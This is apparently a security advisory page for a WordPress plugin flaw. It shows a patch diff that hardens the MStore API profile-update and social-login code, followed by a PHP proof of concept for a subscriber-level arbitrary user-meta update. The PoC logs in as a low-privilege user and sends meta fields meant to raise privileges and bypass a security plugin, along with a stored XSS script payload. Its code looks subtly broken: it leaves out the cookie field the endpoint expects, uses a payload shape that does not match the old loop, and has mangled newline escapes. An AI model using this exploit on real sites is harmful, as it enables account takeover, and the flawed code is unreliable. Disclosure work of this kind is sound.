                     return parent::sendError($user_id->get_error_code(), $user_id->get_error_message(), 400);
-                } elseif (isset($params["phone"])) {
-                    update_user_meta($user_id, 'billing_phone', $params["phone"]);
-                    update_user_meta($user_id, 'registered_phone_number', $params["phone"]);
+                } else {
+                    // Reapply role to override WooCommerce's automatic assignment
+                    if (isset($user['role']) && !empty($user['role'])) {
+                        $wp_user = new WP_User($user_id);
+                        $wp_user->set_role($user['role']);
+                    }
+
+                    if (isset($params["phone"])) {
+                        update_user_meta($user_id, 'billing_phone', $params["phone"]);
+                        update_user_meta($user_id, 'registered_phone_number', $params["phone"]);
+                    }
                 }
             }
         }
         wp_new_user_notification($user_id, null, 'both');
-        if(isset( $wcfm_membership_application_status) &&  $wcfm_membership_application_status == 'pending'){
-            update_user_meta($user_id,'store_name', $user['display_name']);
+        if (isset($wcfm_membership_application_status) &&  $wcfm_membership_application_status == 'pending') {
+            update_user_meta($user_id, 'store_name', $user['display_name']);

             //fix crash when approve membership in WCFM
-            $wcfmvm_static_infos = (array) get_user_meta( $member_id, 'wcfmvm_static_infos', true );
+            $wcfmvm_static_infos = (array) get_user_meta($user_id, 'wcfmvm_static_infos', true);
             $wcfmvm_static_infos['phone'] = $params["phone"] ?? '';
             update_user_meta($user_id, 'wcfmvm_static_infos', $wcfmvm_static_infos);
             update_user_meta($user_id, 'billing_phone', $params["phone"] ?? '');

-            update_user_meta($user_id,'temp_wcfm_membership', true);
+            update_user_meta($user_id, 'temp_wcfm_membership', true);
             global $WCFMvm;
-            $WCFMvm->send_approval_reminder_admin( $user_id );
+            $WCFMvm->send_approval_reminder_admin($user_id);
         }

         if (isset($params['dokan_enable_selling'])) {
@@ -572,15 +677,15 @@
         }
         $is_driver_available = false;

-        if(is_plugin_active('local-delivery-drivers-for-woocommerce/local-delivery-drivers-for-woocommerce.php')){
+        if (is_plugin_active('local-delivery-drivers-for-woocommerce/local-delivery-drivers-for-woocommerce.php') || is_plugin_active('local-delivery-drivers-for-woocommerce-premium/local-delivery-drivers-for-woocommerce.php')) {
             $is_driver_available = get_user_meta($user->ID, 'lddfw_driver_availability', true);
-        }
-        else if(is_plugin_active('delivery-drivers-for-woocommerce/delivery-drivers-for-woocommerce.php') ||
-                is_plugin_active('delivery-drivers-for-woocommerce-master/delivery-drivers-for-woocommerce.php')){
+        } else if (
+            is_plugin_active('delivery-drivers-for-woocommerce/delivery-drivers-for-woocommerce.php') ||
+            is_plugin_active('delivery-drivers-for-woocommerce-master/delivery-drivers-for-woocommerce.php')
+        ) {
             $is_driver_available = get_user_meta($user->ID, 'ddwc_driver_availability', true);
-        }
-        else{
-            $is_driver_available = in_array('administrator',$user->roles) || in_array('wcfm_delivery_boy',$user->roles);
+        } else {
+            $is_driver_available = in_array('administrator', $user->roles) || in_array('wcfm_delivery_boy', $user->roles);
         }

         // Check order status change capability
@@ -612,7 +717,7 @@
             "url" => $user->user_url,
             "registered" => $user->user_registered,
             "displayname" => $user->display_name,
-            "firstname" => $user->user_firstname,
+            "firstname" => $user->first_name,
             "lastname" => $user->last_name,
             "nickname" => $user->nickname,
             "description" => $user->user_description,
@@ -659,17 +764,27 @@
         );
     }

-    function createSocialAccount($email, $name, $firstName, $lastName, $userName)
+    function createSocialAccount($email, $name, $firstName, $lastName)
     {
         $email_exists = email_exists($email);
         if ($email_exists) {
             $user = get_user_by('email', $email);
             $user_id = $user->ID;
         } else {
+            // Extract and sanitize the username from the email local part
+            $userName = sanitize_user(explode('@', $email)[0], true);
+
+            // Fall back to a random name if the local part had no valid characters
+            if (empty($userName)) {
+                $userName = 'user_' . time() . '_' . wp_rand(1000, 9999);
+            }
+
+            // Append an incrementing counter to guarantee uniqueness
+            $baseUserName = $userName;
             $i = 0;
             while (username_exists($userName)) {
                 $i++;
-                $userName = strtolower($userName) . '.' . $i;
+                $userName = $baseUserName . '.' . $i;
             }
             $random_password = wp_generate_password($length = 12, $include_standard_special_chars = false);
             $userdata = array(
@@ -678,8 +793,12 @@
                 'user_pass' => $random_password,
                 'display_name' => $name,
                 'first_name' => $firstName,
-                'last_name' => $lastName);
+                'last_name' => $lastName
+            );
             $user_id = wp_insert_user($userdata);
+            if (is_wp_error($user_id)) {
+                return $user_id;
+            }
         }

         $cookie = generateCookieByUserId($user_id);
@@ -695,7 +814,6 @@
     public function fb_connect($request)
     {
         $fields = 'id,name,first_name,last_name,email';
-        $enable_ssl = true;
         $access_token = $request["access_token"];
         if (!isset($access_token)) {
             return parent::sendError("invalid_login", "You must include a 'access_token' variable. Get the valid access_token for this app from Facebook API.", 400);
@@ -720,8 +838,7 @@
         }

         if (isset($result["email"])) {
-            $user_name = strtolower($result['first_name'] . '.' . $result['last_name']);
-            return $this->createSocialAccount($result["email"], $result['name'], $result['first_name'], $result['last_name'], $user_name);
+            return $this->createSocialAccount($result["email"], $result['name'], $result['first_name'], $result['last_name']);
         } else {
             return parent::sendError("invalid_login", "Your 'access_token' did not return email of the user. Without 'email' user can't be logged in or registered. Get user email extended permission while joining the Facebook app.", 400);
         }
@@ -752,12 +869,10 @@
         if (isset($result["phone"])) {
             $user_name = $result["phone"]["number"];
             $user_email = $result["phone"]["number"] . "@flutter.io";
-            return $this->createSocialAccount($user_email, $user_name, $user_name, "", $user_name);
+            return $this->createSocialAccount($user_email, $user_name, $user_name, "");
         } else {
             return parent::sendError("invalid_login", "Your 'access_token' did not return email of the user. Without 'email' user can't be logged in or registered. Get user email extended permission while joining the Facebook app.", 400);
         }
-        return $response;
-
     }

     private function firebase_sms_verify_id_token($request)
@@ -793,7 +908,7 @@
         }
         $user_name = $phone;
         $user_email = $phone . "@" . $domain;
-        return $this->createSocialAccount($user_email, $user_name, $user_name, "", $user_name);
+        return $this->createSocialAccount($user_email, $user_name, $user_name, "");
     }

     private function firebase_sms_login_v2($phone)
@@ -802,31 +917,18 @@
             return parent::sendError("invalid_login", "You must include a 'phone' variable.", 400);
         }

-        if (isset($phone)) {
-            $args = array('meta_key' => 'registered_phone_number', 'meta_value' => $phone);
-            $search_users = get_users($args);
-            if (empty($search_users)) {
-                $domain = $_SERVER['SERVER_NAME'] == 'default_server' ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];
-                if (count(explode(".", $domain)) == 1) {
-                    $domain = "flutter.io";
-                }
-                $user_name = $phone;
-                $user_email = $phone . "@" . $domain;
-                $user = get_user_by('email', $user_email);
-                if (!$user) {
-                    return parent::sendError("invalid_login", "User does not exist", 400);
-                }
-                $cookie = generateCookieByUserId($user->ID);
-                $response['wp_user_id'] = $user->ID;
-                $response['cookie'] = $cookie;
-                $response['user_login'] = $user->user_login;
-                $response['user'] = $this->getResponseUserInfo($user);
-                return $response;
+        $args = array('meta_key' => 'registered_phone_number', 'meta_value' => $phone);
+        $search_users = get_users($args);
+        if (empty($search_users)) {
+            $domain = $_SERVER['SERVER_NAME'] == 'default_server' ? $_SERVER['HTTP_HOST'] : $_SERVER['SERVER_NAME'];
+            if (count(explode(".", $domain)) == 1) {
+                $domain = "flutter.io";
             }
-            if (count($search_users) > 1) {
-                return parent::sendError("invalid_login", "Too many users with the same phone number", 400);
+            $user_email = $phone . "@" . $domain;
+            $user = get_user_by('email', $user_email);
+            if (!$user) {
+                return parent::sendError("invalid_login", "User does not exist", 400);
             }
-            $user = $search_users[0];
             $cookie = generateCookieByUserId($user->ID);
             $response['wp_user_id'] = $user->ID;
             $response['cookie'] = $cookie;
@@ -834,7 +936,16 @@
             $response['user'] = $this->getResponseUserInfo($user);
             return $response;
         }
-        return parent::sendError("invalid_login", "Unknown Error", 400);
+        if (count($search_users) > 1) {
+            return parent::sendError("invalid_login", "Too many users with the same phone number", 400);
+        }
+        $user = $search_users[0];
+        $cookie = generateCookieByUserId($user->ID);
+        $response['wp_user_id'] = $user->ID;
+        $response['cookie'] = $cookie;
+        $response['user_login'] = $user->user_login;
+        $response['user'] = $this->getResponseUserInfo($user);
+        return $response;
     }


@@ -855,11 +966,11 @@
         $lastName = $params["last_name"];
         $teamId = $params["team_id"];
         $bundleId = $params["bundle_id"];
-        if(!FlutterAppleSignInUtils::is_file_existed()){
+        if (!FlutterAppleSignInUtils::is_file_existed()) {
             return parent::sendError("invalid_login", "You need to upload AuthKey_XXXX.p8 file to MStore Api plugin", 400);
         }
-        $token = AppleSignInHelper::generate_token($bundleId,$teamId,$authorization_code);
-        if($token == false || is_wp_error($token)){
+        $token = AppleSignInHelper::generate_token($bundleId, $teamId, $authorization_code);
+        if ($token == false || is_wp_error($token)) {
             return is_wp_error($token) ? $token : parent::sendError("invalid_login",  "Invalid authorization_code", 400);
         }
         $decoded = $this->jwtDecode($token);
@@ -868,15 +979,14 @@
             return parent::sendError("invalid_login", "Can't get the email to create account.", 400);
         }
         $display_name = explode("@", $user_email)[0];
-        if(isset($firstName) && isset($lastName) && !empty($firstName)){
-            $display_name = $firstName.' '.$lastName;
-        }else{
+        if (isset($firstName) && isset($lastName) && !empty($firstName)) {
+            $display_name = $firstName . ' ' . $lastName;
+        } else {
             $firstName =  $display_name;
             $lastName = "";
         }
-        $user_name = $display_name;

-        return $this->createSocialAccount($user_email, $display_name, $firstName, $lastName, $user_name);
+        return $this->createSocialAccount($user_email, $display_name, $firstName, $lastName);
     }

     public function google_login($request)
@@ -896,8 +1006,7 @@
             $lastName = $result["family_name"];
             $email = $result["email"];
             $display_name = $firstName . " " . $lastName;
-            $user_name = $firstName . "." . $lastName;
-            return $this->createSocialAccount($email, $display_name, $firstName, $lastName, $user_name);
+            return $this->createSocialAccount($email, $display_name, $firstName, $lastName);
         } else {
             return parent::sendError("invalid_login", "Your 'token' did not return email of the user. Without 'email' user can't be logged in or registered. Get user email extended permission while joining the Google app.", 400);
         }
@@ -1011,6 +1120,12 @@
         global $json_api;
         $json = file_get_contents('php://input');
         $params = json_decode($json);
+        if (!is_object($params)) {
+            return new WP_Error("invalid_request", "Invalid request payload.", array('status' => 400));
+        }
+        if (!isset($params->cookie) || !is_string($params->cookie) || '' === trim($params->cookie)) {
+            return new WP_Error("invalid_cookie", "Missing or invalid cookie parameter.", array('status' => 400));
+        }
         $cookie = $params->cookie;
         $user_id = validateCookieLogin($cookie);
         if (is_wp_error($user_id)) {
@@ -1018,100 +1133,144 @@
         }

         $user_update = array('ID' => $user_id);
+        $pending_meta_updates = array();
+        $pending_avatar = null;
         if (isset($params->user_pass)) {
             $user_update['user_pass'] = $params->user_pass;
         }
         if (isset($params->user_nicename)) {
-            $user_update['user_nicename'] = $params->user_nicename;
+            if (!is_scalar($params->user_nicename)) {
+                return new WP_Error("invalid_user_nicename", "Invalid user nicename.", array('status' => 400));
+
+            }
+            $user_update['user_nicename'] = sanitize_title((string) $params->user_nicename);
         }
+
         if (isset($params->user_email)) {
-            $user_update['user_email'] = $params->user_email;
+            if (!is_scalar($params->user_email)) {
+                return new WP_Error("invalid_user_email", "Invalid email address.", array('status' => 400));
+            }
+
+            $user_email = sanitize_email((string) $params->user_email);
+            if ($user_email === '' || !is_email($user_email)) {
+                return new WP_Error("invalid_user_email", "Invalid email address.", array('status' => 400));
+            }
+            $user_update['user_email'] = $user_email;
         }
+
         if (isset($params->user_url)) {
-            $user_update['user_url'] = $params->user_url;
+            if (!is_scalar($params->user_url)) {
+                return new WP_Error("invalid_user_url", "Invalid user URL.", array('status' => 400));
+            }
+
+            $raw_user_url = (string) $params->user_url;
+            $user_url = esc_url_raw($raw_user_url);
+            if ($raw_user_url !== '' && $user_url === '') {
+                return new WP_Error("invalid_user_url", "Invalid user URL.", array('status' => 400));
+            }
+
+            $user_update['user_url'] = $user_url;
         }
         if (isset($params->display_name)) {
-            $user_update['display_name'] = $params->display_name;
+            $user_update['display_name'] = $this->sanitize_profile_text($params->display_name);
         }
         if (isset($params->first_name)) {
-            $user_update['first_name'] = $params->first_name;
-            update_user_meta($user_id, 'shipping_first_name', $params->first_name, '');
-            update_user_meta($user_id, 'billing_first_name', $params->first_name, '');
+            $first_name = $this->sanitize_profile_text($params->first_name);
+            $user_update['first_name'] = $first_name;
+            $pending_meta_updates['shipping_first_name'] = $first_name;
+            $pending_meta_updates['billing_first_name'] = $first_name;
         }
         if (isset($params->last_name)) {
-            $user_update['last_name'] = $params->last_name;
-            update_user_meta($user_id, 'shipping_last_name', $params->last_name, '');
-            update_user_meta($user_id, 'billing_last_name', $params->last_name, '');
+            $last_name = $this->sanitize_profile_text($params->last_name);
+            $user_update['last_name'] = $last_name;
+            $pending_meta_updates['shipping_last_name'] = $last_name;
+            $pending_meta_updates['billing_last_name'] = $last_name;
         }
         if (isset($params->phone)) {
-            update_user_meta($user_id, 'shipping_phone', $params->phone, '');
-            update_user_meta($user_id, 'billing_phone', $params->phone, '');
+            $phone = $this->sanitize_profile_text($params->phone);
+            $pending_meta_updates['shipping_phone'] = $phone;
+            $pending_meta_updates['billing_phone'] = $phone;
         }
         if (isset($params->shipping_company)) {
-            update_user_meta($user_id, 'shipping_company', $params->shipping_company, '');
-            update_user_meta($user_id, 'billing_company', $params->shipping_company, '');
+            $shipping_company = $this->sanitize_profile_text($params->shipping_company);
+            $pending_meta_updates['shipping_company'] = $shipping_company;
+            $pending_meta_updates['billing_company'] = $shipping_company;
         }
         if (isset($params->shipping_state)) {
-            update_user_meta($user_id, 'shipping_state', $params->shipping_state, '');
-            update_user_meta($user_id, 'billing_state', $params->shipping_state, '');
+            $shipping_state = $this->sanitize_profile_text($params->shipping_state);
+            $pending_meta_updates['shipping_state'] = $shipping_state;
+            $pending_meta_updates['billing_state'] = $shipping_state;
         }
         if (isset($params->shipping_address_1)) {
-            update_user_meta($user_id, 'shipping_address_1', $params->shipping_address_1, '');
-            update_user_meta($user_id, 'billing_address_1', $params->shipping_address_1, '');
+            $shipping_address_1 = $this->sanitize_profile_text($params->shipping_address_1);
+            $pending_meta_updates['shipping_address_1'] = $shipping_address_1;
+            $pending_meta_updates['billing_address_1'] = $shipping_address_1;
         }
         if (isset($params->shipping_address_2)) {
-            update_user_meta($user_id, 'shipping_address_2', $params->shipping_address_2, '');
-            update_user_meta($user_id, 'billing_address_2', $params->shipping_address_2, '');
+            $shipping_address_2 = $this->sanitize_profile_text($params->shipping_address_2);
+            $pending_meta_updates['shipping_address_2'] = $shipping_address_2;
+            $pending_meta_updates['billing_address_2'] = $shipping_address_2;
         }
         if (isset($params->shipping_city)) {
-            update_user_meta($user_id, 'shipping_city', $params->shipping_city, '');
-            update_user_meta($user_id, 'billing_city', $params->shipping_city, '');
+            $shipping_city = $this->sanitize_profile_text($params->shipping_city);
+            $pending_meta_updates['shipping_city'] = $shipping_city;
+            $pending_meta_updates['billing_city'] = $shipping_city;
         }
         if (isset($params->shipping_country)) {
-            update_user_meta($user_id, 'shipping_country', $params->shipping_country, '');
-            update_user_meta($user_id, 'billing_country', $params->shipping_country, '');
+            $shipping_country = $this->sanitize_profile_text($params->shipping_country);
+            $pending_meta_updates['shipping_country'] = $shipping_country;
+            $pending_meta_updates['billing_country'] = $shipping_country;
         }
         if (isset($params->shipping_postcode)) {
-            update_user_meta($user_id, 'shipping_postcode', $params->shipping_postcode, '');
-            update_user_meta($user_id, 'billing_postcode', $params->shipping_postcode, '');
+            $shipping_postcode = wc_clean(wp_unslash((string)$params->shipping_postcode));
+            $pending_meta_updates['shipping_postcode'] = $shipping_postcode;
+            $pending_meta_updates['billing_postcode'] = $shipping_postcode;
+        }
+        $pending_meta_updates = array_merge(
+            $pending_meta_updates,
+            $this->sanitize_meta_data($params->meta_data ?? null)
+        );
+
+        if (isset($params->avatar)) {
+            $pending_avatar = $params->avatar;
         }
-        if (isset($params->meta_data) && is_array($params->meta_data)) {
-            foreach ($params->meta_data as $item) {
-                update_user_meta($user_id, $item->key, $item->value, '');
-            }
+
+
+        $user_data = wp_update_user($user_update);
+
+        if (is_wp_error($user_data)) {
+            return $user_data;
         }

-        if (isset($params->avatar)) {
+        foreach ($pending_meta_updates as $meta_key => $meta_value) {
+            update_user_meta($user_id, $meta_key, $meta_value, '');
+        }
+
+        if ($pending_avatar !== null) {
             $count = 1;
             try {
-                $attachment_id = upload_image_from_mobile($params->avatar, $count, $user_id);
+                $attachment_id = upload_image_from_mobile($pending_avatar, $count, $user_id);
                 $url = wp_get_attachment_image_src($attachment_id);
                 update_user_meta($user_id, 'user_avatar', $url, '');
-             } catch (Exception $e) {
+            } catch (Exception $e) {
                 return new WP_Error("invalid_avatar", $e->getMessage(), array('status' => 400));
             }
         }

-
-        $user_data = wp_update_user($user_update);
-
-        if (is_wp_error($user_data)) {
-            // There was an error; possibly this user doesn't exist.
-            echo 'Error.';
-        }
         $user = get_userdata($user_id);

         if (isset($params->deviceToken)) {
+            $device_token = $this->sanitize_profile_text($params->deviceToken);
             if (isset($params->is_manager) && $params->is_manager) {
-                update_user_meta($user_id, "mstore_manager_device_token",

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-3568 - MStore API <= 4.18.3 - Authenticated (Subscriber+) Insecure Direct Object Reference to Arbitrary User Meta Update

<?php

$target_url = 'https://example.com/wp-json/api/flutter_user/update_user_profile';
$username = 'subscriber_user';
$password = 'subscriber_password';

// Step 1: Authenticate and get cookies
$login_url = 'https://example.com/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => 'https://example.com/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);

// Step 2: Exploit the IDOR vulnerability to modify user meta
$payload = json_encode([
    'meta_data' => [
        'wp_user_level' => 10, // Set to administrator level (legacy WordPress)
        '_wp_user_active' => 'yes', // Bypass user activation checks
        'aiowps_account_status' => 'active', // Bypass All In One WP Security plugin
        'billing_first_name' => '<script>alert(1)</script>', // Potential stored XSS
        'custom_privilege_flag' => 'admin' // Custom plugin privilege flag
    ]
]);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $payload);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'Content-Length: ' . strlen($payload)
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Step 3: Output results
if ($http_code == 200) {
    echo "Exploit successful! User meta fields modified.n";
    echo "Response: " . $response . "n";
} else {
    echo "Exploit failed with HTTP code: " . $http_code . "n";
    echo "Response: " . $response . "n";
}

// Clean up
if (file_exists('cookies.txt')) {
    unlink('cookies.txt');
}

?>

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